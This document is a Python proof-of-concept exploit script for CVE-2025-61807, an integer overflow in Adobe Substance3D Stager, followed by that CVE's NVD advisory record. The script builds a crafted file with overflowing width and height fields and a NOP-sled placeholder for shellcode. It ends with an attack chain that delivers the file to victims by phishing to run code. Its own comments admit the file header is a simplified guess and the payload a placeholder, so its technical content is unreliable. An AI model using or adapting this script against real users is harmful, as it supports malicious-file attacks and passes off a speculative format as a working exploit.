CVE-2025-61807

# CVE-2025-61807 PoC - Conceptual Proof of Concept # Integer Overflow in Adobe Substance3D Stager # WARNING: This is a conceptual PoC for educational purposes only. import struct import os def create_malicious_file(output_path): """ Create a malicious Substance3D Stager file that triggers integer overflow vulnerability (CVE-2025-61807). The vulnerability is triggered when parsing specific numeric fields in the project/scene file. By providing values that cause integer overflow during internal calculations, we can trigger memory corruption leading to arbitrary code execution. """ # File header (simplified representation of a Stager project file) header = b'SBSSTAGER\x00' # Magic bytes header += struct.pack('<I', 0x00010001) # Version 1.1 # Crafted numeric field that triggers integer overflow # When the parser multiplies this value internally, # it overflows the 32-bit integer range overflow_value = 0x7FFFFFFF # Maximum signed 32-bit integer # Payload structure designed to cause overflow during processing payload = b'' payload += struct.pack('<I', overflow_value) # Width causing overflow payload += struct.pack('<I', overflow_value) # Height causing overflow payload += struct.pack('<I', 0x00000002) # Channel multiplier # The multiplication overflow_value * overflow_value * 2 # will wrap around, causing a small buffer allocation # while large data follows # Malicious shellcode or payload (placeholder) # In a real exploit, this would contain shellcode # that executes when the buffer overflow occurs malicious_data = b'\x90' * 4096 # NOP sled (placeholder) with open(output_path, 'wb') as f: f.write(header) f.write(payload) f.write(malicious_data) print(f"[+] Malicious file created: {output_path}") print(f"[!] When opened in Substance3D Stager <= 3.1.4,") print(f" this file triggers CVE-2025-61807") if __name__ == '__main__': create_malicious_file('exploit.sbsar') # Attack chain: # 1. Attacker crafts malicious Stager file with overflow values # 2. Attacker distributes file via phishing/social engineering # 3. Victim opens file in Substance3D Stager # 4. Integer overflow occurs during file parsing # 5. Buffer overflow leads to arbitrary code execution # 6. Attacker code runs with victim's privileges

{"cve": {"id": "CVE-2025-61807", "sourceIdentifier": "[email protected]", "published": "2025-10-14T20:15:53.403", "lastModified": "2025-10-16T17:37:33.997", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Substance3D - Stager versions 3.1.4 and earlier are affected by an Integer Overflow or Wraparound vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-190"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:adobe:substance_3d_stager:*:*:*:*:*:*:*:*", "versionEndExcluding": "3.1.5", "matchCriteriaId": "AB3C6EBF-2CF4-413D-AC6B-AAF49BA08B2F"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:*", "matchCriteriaId": "387021A0-AF36-463C-A605-32EA7DAC172E"}, {"vulnerable": false, "criteria": "cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:*", "matchCriteriaId": "A2572D17-1DE6-457B-99CC-64AFD54487EA"}]}]}], "references": [{"url": "https://helpx.adobe.com/security/products/substance3d_stager/apsb25-104.html", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}